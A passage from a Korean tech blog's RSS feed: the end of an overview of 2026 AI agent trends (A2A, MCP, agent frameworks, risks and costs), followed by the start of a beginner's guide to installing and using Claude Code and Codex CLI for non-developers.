&lt;h3&gt;A2A (Agent-to-Agent) — AI 에이전트 간 통신&lt;/h3&gt;
&lt;p&gt;Google이 만든 오픈 프로토콜로, &lt;strong&gt;에이전트끼리 대화하고 협업하는 표준&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;영업 에이전트 ←→ A2A ←→ 재무 에이전트 ←→ A2A ←→ HR 에이전트&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;150개 이상 조직 참여 (Atlassian, PayPal, Salesforce, SAP 등)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Agent Card&lt;/strong&gt;: JSON 형태로 &quot;나는 이런 일을 할 수 있어&quot;를 광고&lt;/li&gt;
&lt;li&gt;다른 에이전트가 Agent Card를 보고 최적의 협업 상대를 찾아 통신&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;MCP vs A2A 차이:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MCP&lt;/strong&gt; = AI ↔ 도구 (수직적 연결)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A2A&lt;/strong&gt; = AI ↔ AI (수평적 연결)&lt;/li&gt;
&lt;li&gt;둘은 경쟁이 아니라 &lt;strong&gt;상호 보완&lt;/strong&gt; 관계&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2026년 AI 에이전트 핵심 트렌드 5가지&lt;/h2&gt;
&lt;h3&gt;1. 멀티 에이전트 시스템의 부상&lt;/h3&gt;
&lt;p&gt;혼자 일하는 에이전트에서 &lt;strong&gt;팀으로 일하는 에이전트&lt;/strong&gt;로 전환되고 있습니다.&lt;/p&gt;
&lt;p&gt;Gartner에 따르면 멀티 에이전트 시스템 관련 문의가 &lt;strong&gt;1,445% 급증&lt;/strong&gt;했습니다. &quot;퍼핏티어(Puppeteer)&quot; 역할의 오케스트레이터가 전문 에이전트들을 조율하는 구조입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;오케스트레이터 에이전트
  ├── 코드 작성 에이전트
  ├── 코드 리뷰 에이전트
  ├── 테스트 에이전트
  └── 배포 에이전트&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2. 장기 실행 자율 워크플로우&lt;/h3&gt;
&lt;p&gt;단일 프롬프트 → 단일 응답이 아니라, &lt;strong&gt;며칠간 실행되는 작업 루프&lt;/strong&gt;가 등장했습니다.&lt;/p&gt;
&lt;p&gt;에이전트가 전체 애플리케이션을 구축하고, 인간은 전략적 결정 포인트에서만 개입합니다. Claude Code의 백그라운드 태스크, Devin의 클라우드 실행이 대표적입니다.&lt;/p&gt;
&lt;h3&gt;3. 비개발자의 에이전트 시대&lt;/h3&gt;
&lt;p&gt;Microsoft Copilot Studio, Salesforce Agentforce처럼 &lt;strong&gt;코드 없이 에이전트를 만드는 플랫폼&lt;/strong&gt;이 본격화됐습니다. &quot;비즈니스 사용자가 엔지니어가 아닌데도 에이전트를 만들고 있다&quot;는 게 2026년의 현실입니다.&lt;/p&gt;
&lt;h3&gt;4. 에이전트 프레임워크 통합&lt;/h3&gt;
&lt;p&gt;각 빅테크가 에이전트 프레임워크를 출시했습니다:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;개발사&lt;/th&gt;
&lt;th&gt;프레임워크&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Anthropic&lt;/td&gt;
&lt;td&gt;Claude Agent SDK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;Agents SDK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;Agent Development Kit (ADK)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft&lt;/td&gt;
&lt;td&gt;Semantic Kernel + AutoGen&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;커뮤니티에서도 LangGraph, CrewAI, Mastra 등이 경쟁 중입니다.&lt;/p&gt;
&lt;h3&gt;5. MCP가 인프라 표준으로 확장&lt;/h3&gt;
&lt;p&gt;2025년이 &quot;채택의 해&quot;였다면, 2026년은 &quot;확장의 해&quot;입니다. Anthropic, OpenAI, Block이 공동 설립한 **Agentic AI Foundation(AAIF)**이 Linux Foundation 산하에서 MCP를 관리합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;AI 에이전트의 위험과 한계 — 솔직한 정리&lt;/h2&gt;
&lt;p&gt;AI 에이전트가 만능은 아닙니다. 알고 쓰는 게 중요합니다.&lt;/p&gt;
&lt;h3&gt;할루시네이션 — &quot;자신감 있게 틀리는&quot; 문제&lt;/h3&gt;
&lt;p&gt;에이전트는 &lt;strong&gt;자신의 능력 한계를 모릅니다.&lt;/strong&gt; 전문 지식이 필요한 상황인데도 자신 있게 답을 내놓을 수 있습니다. 고위험 작업에서는 반드시 사람의 검증이 필요합니다.&lt;/p&gt;
&lt;h3&gt;보안 — 과도한 권한 문제&lt;/h3&gt;
&lt;p&gt;보고에 따르면 &lt;strong&gt;90%의 에이전트가 필요한 것보다 10배 많은 권한&lt;/strong&gt;을 가지고 있습니다. 도구 연결이 늘어날수록 위험이 곱셈으로 증가합니다. 간접 프롬프트 인젝션(웹페이지에 숨겨진 악의적 지시)도 실제 위협입니다.&lt;/p&gt;
&lt;h3&gt;비용 — 과소평가되는 현실&lt;/h3&gt;
&lt;p&gt;Gartner에 따르면 CIO들이 AI 비용을 &lt;strong&gt;최대 1,000%까지 과소평가&lt;/strong&gt;한다고 합니다. 특히 에이전트를 확장하고 유지하는 비용이 예상보다 큽니다.&lt;/p&gt;
&lt;h3&gt;실패율 — 40% 이상 실패 예상&lt;/h3&gt;
&lt;p&gt;에이전트 프로젝트의 &lt;strong&gt;40% 이상이 2027년까지 실패&lt;/strong&gt;할 것이라는 Gartner 예측이 있습니다. 기술이 아니라 &lt;strong&gt;거버넌스&lt;/strong&gt;(통제, 소유권, 신뢰 관리)가 가장 큰 장벽입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;비개발자용 AI 에이전트 추천 — 지금 바로 시작하기&lt;/h2&gt;
&lt;p&gt;&quot;에이전트가 뭔지는 알겠는데, 나는 뭘 쓰면 되나요?&quot;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;목적&lt;/th&gt;
&lt;th&gt;추천 도구&lt;/th&gt;
&lt;th&gt;월 비용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;파일/데이터 정리&lt;/td&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;$20 (Pro)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;웹 작업 자동화&lt;/td&gt;
&lt;td&gt;ChatGPT Agent (Operator)&lt;/td&gt;
&lt;td&gt;$20 (Plus)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;업무 프로세스 자동화&lt;/td&gt;
&lt;td&gt;Copilot Studio&lt;/td&gt;
&lt;td&gt;M365 구독&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;코딩&lt;/td&gt;
&lt;td&gt;Claude Code, Cursor&lt;/td&gt;
&lt;td&gt;$20~&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;가장 진입 장벽이 낮은 건 &lt;strong&gt;Claude Code&lt;/strong&gt;입니다. 터미널에서 자연어로 지시하면 파일을 직접 읽고, 수정하고, 생성합니다. &lt;a href=&quot;/claude-code-codex-for-non-developers/&quot;&gt;비개발자도 쓸 수 있다는 걸 이전 포스팅에서 다뤘습니다.&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;AI 에이전트가 내 일자리를 대체하나요?&lt;/h3&gt;
&lt;p&gt;단기적으로는 &quot;대체&quot;보다 &quot;증강&quot;에 가깝습니다. 에이전트는 반복적이고 규칙적인 작업을 처리하고, 사람은 판단·창의·소통에 집중하는 구조입니다. 다만 장기적으로 자동화 가능한 업무 범위가 넓어지는 건 사실입니다.&lt;/p&gt;
&lt;h3&gt;MCP를 개인이 쓸 수 있나요?&lt;/h3&gt;
&lt;p&gt;네. Claude Code에서 MCP 서버를 설정하면 Google Drive, Slack, GitHub 등을 연결해서 사용할 수 있습니다. 설정법은 공식 문서에 잘 정리되어 있습니다.&lt;/p&gt;
&lt;h3&gt;어떤 에이전트 프레임워크를 배워야 하나요?&lt;/h3&gt;
&lt;p&gt;개발자라면 &lt;strong&gt;자신이 사용하는 AI 모델의 공식 SDK&lt;/strong&gt;부터 시작하세요. Claude 사용자라면 Claude Agent SDK, OpenAI 사용자라면 Agents SDK가 자연스럽습니다. 특정 벤더에 묶이고 싶지 않다면 LangGraph가 가장 범용적입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;AI 에이전트는 &lt;strong&gt;&quot;대화하는 AI&quot;에서 &quot;일하는 AI&quot;로의 전환&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;2026년 현재:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;코딩 에이전트&lt;/strong&gt; (Claude Code, Cursor, Devin)는 이미 실전 투입 수준&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;브라우저 에이전트&lt;/strong&gt; (Operator, Project Mariner)는 웹 작업을 자동화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP와 A2A&lt;/strong&gt;로 에이전트끼리 도구를 공유하고 협업하는 시대&lt;/li&gt;
&lt;li&gt;하지만 &lt;strong&gt;보안, 비용, 거버넌스&lt;/strong&gt; 문제는 아직 풀어야 할 숙제&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;에이전트를 &quot;써봐야 하나?&quot;고 고민 중이라면, 답은 간단합니다 — &lt;strong&gt;이미 쓰고 있을 가능성이 높습니다.&lt;/strong&gt; GitHub Copilot의 자동 완성, ChatGPT의 검색 기능, Claude Code의 파일 편집 — 이 모든 게 에이전트의 일부입니다.&lt;/p&gt;
&lt;p&gt;여러분은 어떤 AI 에이전트를 써보셨나요? 댓글로 경험을 공유해주세요!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;관련 포스팅:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/claude-code-codex-for-non-developers/&quot;&gt;비개발자가 Claude Code, Codex CLI 활용하는 법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ai-coding-skills-comparison/&quot;&gt;AI 코딩 도구 Skill 비교 — Claude Code vs Gemini CLI vs Codex CLI&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;참고 자료:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot;&gt;Claude Code 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io&quot;&gt;MCP 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.googleblog.com/en/a2a-a-new-era-of-agent-interoperability/&quot;&gt;A2A 프로토콜 — Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gartner.com/en/articles/intelligent-agent-in-ai&quot;&gt;Gartner AI Agent Trends 2026&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[비개발자가 Claude Code, Codex CLI 활용하는 법 — 코딩 몰라도 AI 에이전트 쓰는 시대]]></title><description><![CDATA[비개발자를 위한 Claude Code·Codex CLI 활용 가이드 커버 — AI 에이전트 시대의 노코딩 자동화 안녕하세요, 자바파커입니다. "Claude Code? Codex…]]></description><link>https://blog.javapark.kr/codex-for-non-developers/</link><guid isPermaLink="false">https://blog.javapark.kr/codex-for-non-developers/</guid><pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/claude-code-codex-for-non-developers.png&quot; alt=&quot;비개발자를 위한 Claude Code·Codex CLI 활용 가이드 커버 — AI 에이전트 시대의 노코딩 자동화&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Claude Code? Codex? 그거 개발자만 쓰는 거 아닌가요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 처음엔 그렇게 생각했습니다. 터미널에 명령어를 치는 도구라니, 당연히 개발자 전용이겠거니 했죠. 그런데 직접 써보니 &lt;strong&gt;코딩을 전혀 모르는 사람이야말로 이 도구들의 진짜 수혜자&lt;/strong&gt;라는 걸 깨달았습니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;비개발자도 충분히 쓸 수 있고, 오히려 반복 업무 자동화에서 엄청난 효과를 볼 수 있습니다.&lt;/strong&gt; 오늘은 Claude Code와 OpenAI Codex CLI, 이 두 도구를 비개발자 관점에서 설치부터 실전 활용까지 정리해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;먼저, 이 도구들이 뭔가요?&lt;/h2&gt;
&lt;p&gt;쉽게 비유하자면 이렇습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;ChatGPT / Claude 웹&lt;/th&gt;
&lt;th&gt;Claude Code / Codex CLI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;비유&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;카카오톡으로 비서에게 부탁&lt;/td&gt;
&lt;td&gt;비서가 직접 내 컴퓨터 앞에 앉아서 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;할 수 있는 것&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;텍스트 답변, 조언&lt;/td&gt;
&lt;td&gt;파일 읽기/수정, 폴더 정리, 코드 실행, 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;작업 범위&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;대화창 안에서만&lt;/td&gt;
&lt;td&gt;내 컴퓨터의 실제 파일과 폴더&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;는 Anthropic이 만든 AI 에이전트 도구이고, &lt;strong&gt;Codex CLI&lt;/strong&gt;는 OpenAI가 만든 도구입니다. 둘 다 터미널(명령 프롬프트)에서 자연어로 지시하면 &lt;strong&gt;내 컴퓨터의 파일을 직접 읽고, 수정하고, 생성&lt;/strong&gt;해줍니다.&lt;/p&gt;
&lt;p&gt;핵심은 이겁니다 — &lt;strong&gt;코딩을 해달라고 시키는 게 아니라, 일을 해달라고 시키는 겁니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;비개발자가 할 수 있는 일 10가지&lt;/h2&gt;
&lt;p&gt;코딩과 전혀 관련 없는 실전 활용 사례입니다.&lt;/p&gt;
&lt;h3&gt;업무 자동화&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;경비 보고서 정리&lt;/strong&gt; — 여러 신용카드 명세서(CSV)를 하나로 합치고 카테고리별로 분류&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;이메일/뉴스레터 초안&lt;/strong&gt; — 프로젝트 폴더의 변경사항을 읽고 주간 보고 메일 초안 작성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;파일 정리&lt;/strong&gt; — 수백 개 파일을 날짜별, 유형별로 자동 분류하고 이름 변경&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;콘텐츠 &amp;#x26; 마케팅&lt;/h3&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;&lt;strong&gt;블로그 포스팅 초안&lt;/strong&gt; — 주제를 주면 리서치 + 마크다운 초안까지 한 번에&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SNS 콘텐츠 배치 생성&lt;/strong&gt; — 하나의 긴 글에서 트위터/인스타/링크드인용 요약본 자동 생성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO 분석&lt;/strong&gt; — 경쟁사 페이지를 분석하고 키워드 리포트 생성&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;데이터 분석&lt;/h3&gt;
&lt;ol start=&quot;7&quot;&gt;
&lt;li&gt;&lt;strong&gt;스프레드시트 가공&lt;/strong&gt; — CSV/엑셀 파일에서 특정 조건의 데이터만 추출, 피벗&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;미사용 구독 감지&lt;/strong&gt; — 은행 거래 내역에서 반복 결제를 찾아 리스트업&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;설문 결과 분석&lt;/strong&gt; — 설문 응답 데이터를 요약하고 인사이트 도출&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;일상&lt;/h3&gt;
&lt;ol start=&quot;10&quot;&gt;
&lt;li&gt;&lt;strong&gt;여행 계획&lt;/strong&gt; — 날짜, 예산, 취향을 알려주면 일정표 마크다운 파일로 생성&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code 설치 가이드 (비개발자용)&lt;/h2&gt;
&lt;h3&gt;사전 준비&lt;/h3&gt;
&lt;p&gt;Claude Code를 쓰려면 두 가지가 필요합니다:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Anthropic 유료 구독&lt;/strong&gt; — 최소 Pro 플랜($20/월)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Node.js&lt;/strong&gt; — Claude Code 설치에 필요한 기본 도구&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1단계: Node.js 설치&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://nodejs.org&quot;&gt;nodejs.org&lt;/a&gt; 접속 → &lt;strong&gt;LTS 버전&lt;/strong&gt; 다운로드 → 설치 (모든 옵션 기본값 OK)&lt;/p&gt;
&lt;p&gt;설치 확인:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--version&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# v22.x.x 같은 버전이 나오면 성공&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2단계: Claude Code 설치&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; @anthropic-ai/claude-code&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Windows 사용자&lt;/strong&gt;: PowerShell 또는 Git Bash에서 실행하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3단계: 실행 및 인증&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 작업할 폴더로 이동&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; ~/Documents/내작업폴더

&lt;span class=&quot;token comment&quot;&gt;# Claude Code 실행&lt;/span&gt;
claude&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;처음 실행하면 브라우저가 열리면서 Anthropic 계정 인증을 요청합니다. 로그인하면 바로 사용 가능합니다.&lt;/p&gt;
&lt;h3&gt;4단계: 첫 번째 대화&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; 이 폴더에 있는 파일 목록을 정리해서 summary.md로 만들어줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이게 끝입니다. 코드를 작성한 게 아니라 &lt;strong&gt;한국어로 부탁한 것&lt;/strong&gt;뿐입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Codex CLI 설치 가이드 (비개발자용)&lt;/h2&gt;
&lt;h3&gt;사전 준비&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ChatGPT Plus 이상 구독&lt;/strong&gt; — Plus($20/월) 또는 Pro($200/월)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Node.js 18 이상&lt;/strong&gt; (위와 동일)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1단계: 설치&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; @openai/codex&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2단계: 인증&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;codex&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;실행하면 &quot;Sign in with ChatGPT&quot; 옵션이 나옵니다. 브라우저에서 로그인하면 완료.&lt;/p&gt;
&lt;h3&gt;3단계: 첫 번째 대화&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; 이 폴더의 CSV 파일들을 읽고 날짜별로 정렬해서 하나로 합쳐줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Windows 사용자 주의&lt;/strong&gt;: Codex CLI의 Windows 지원은 아직 실험적입니다. WSL2(Windows Subsystem for Linux) 환경을 권장합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code vs Codex CLI — 비개발자 관점 비교&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;th&gt;Codex CLI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;시작 난이도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐ 쉬움&lt;/td&gt;
&lt;td&gt;⭐⭐ 쉬움 (Windows는 ⭐⭐⭐)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;한국어 지원&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;매우 자연스러움&lt;/td&gt;
&lt;td&gt;자연스러움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;안전성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;변경 전 확인 요청 (감독형)&lt;/td&gt;
&lt;td&gt;full-auto 모드 있음 (비감독형 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Windows 지원&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;네이티브 지원&lt;/td&gt;
&lt;td&gt;실험적 (WSL 권장)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;최소 비용&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$20/월 (Pro)&lt;/td&gt;
&lt;td&gt;$20/월 (Plus)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;사용량 제한&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5시간 제한 (Pro)&lt;/td&gt;
&lt;td&gt;모델별 상이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;데스크톱 앱&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;있음 (Mac/Windows)&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;웹 버전&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;있음 (claude.ai/code)&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VS Code 연동&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;있음&lt;/td&gt;
&lt;td&gt;있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;비개발자에게 추천하는 선택은?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Claude Code를 먼저 추천합니다.&lt;/strong&gt; 이유는:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;감독형 방식&lt;/strong&gt; — 파일을 수정하기 전에 항상 확인을 요청합니다. 실수로 중요한 파일을 날릴 걱정이 적습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows 네이티브 지원&lt;/strong&gt; — WSL 설치 없이 바로 사용 가능합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;데스크톱 앱/웹 버전&lt;/strong&gt; — 터미널이 어색하면 데스크톱 앱이나 웹에서 시작할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VS Code 확장&lt;/strong&gt; — VS Code에서 직접 사용하면 터미널을 따로 열 필요도 없습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Codex CLI는 &lt;strong&gt;이미 ChatGPT Plus를 구독 중&lt;/strong&gt;이거나, &lt;strong&gt;터미널 작업에 어느 정도 익숙한 분&lt;/strong&gt;에게 적합합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;비개발자를 위한 실전 팁 5가지&lt;/h2&gt;
&lt;h3&gt;1. CLAUDE.md (또는 AGENTS.md) 파일을 활용하세요&lt;/h3&gt;
&lt;p&gt;프로젝트 폴더에 &lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt; 파일을 만들어두면, Claude Code가 매번 대화를 시작할 때 이 파일을 읽습니다. 일종의 &lt;strong&gt;업무 매뉴얼&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; 이 폴더에 대한 설명&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 이 폴더에는 매월 경비 보고 CSV 파일이 저장됩니다
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 파일 형식: YYYY-MM-expenses.csv
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 카테고리: 교통, 식비, 숙박, 기타
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 월말에 summary.xlsx로 합산 보고서를 만들어야 합니다&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 해두면 매번 같은 설명을 반복하지 않아도 됩니다.&lt;/p&gt;
&lt;h3&gt;2. 작업 전 백업 습관을 들이세요&lt;/h3&gt;
&lt;p&gt;AI가 파일을 직접 수정할 수 있으므로, 중요한 파일은 &lt;strong&gt;작업 전에 복사본&lt;/strong&gt;을 만들어두세요.&lt;/p&gt;
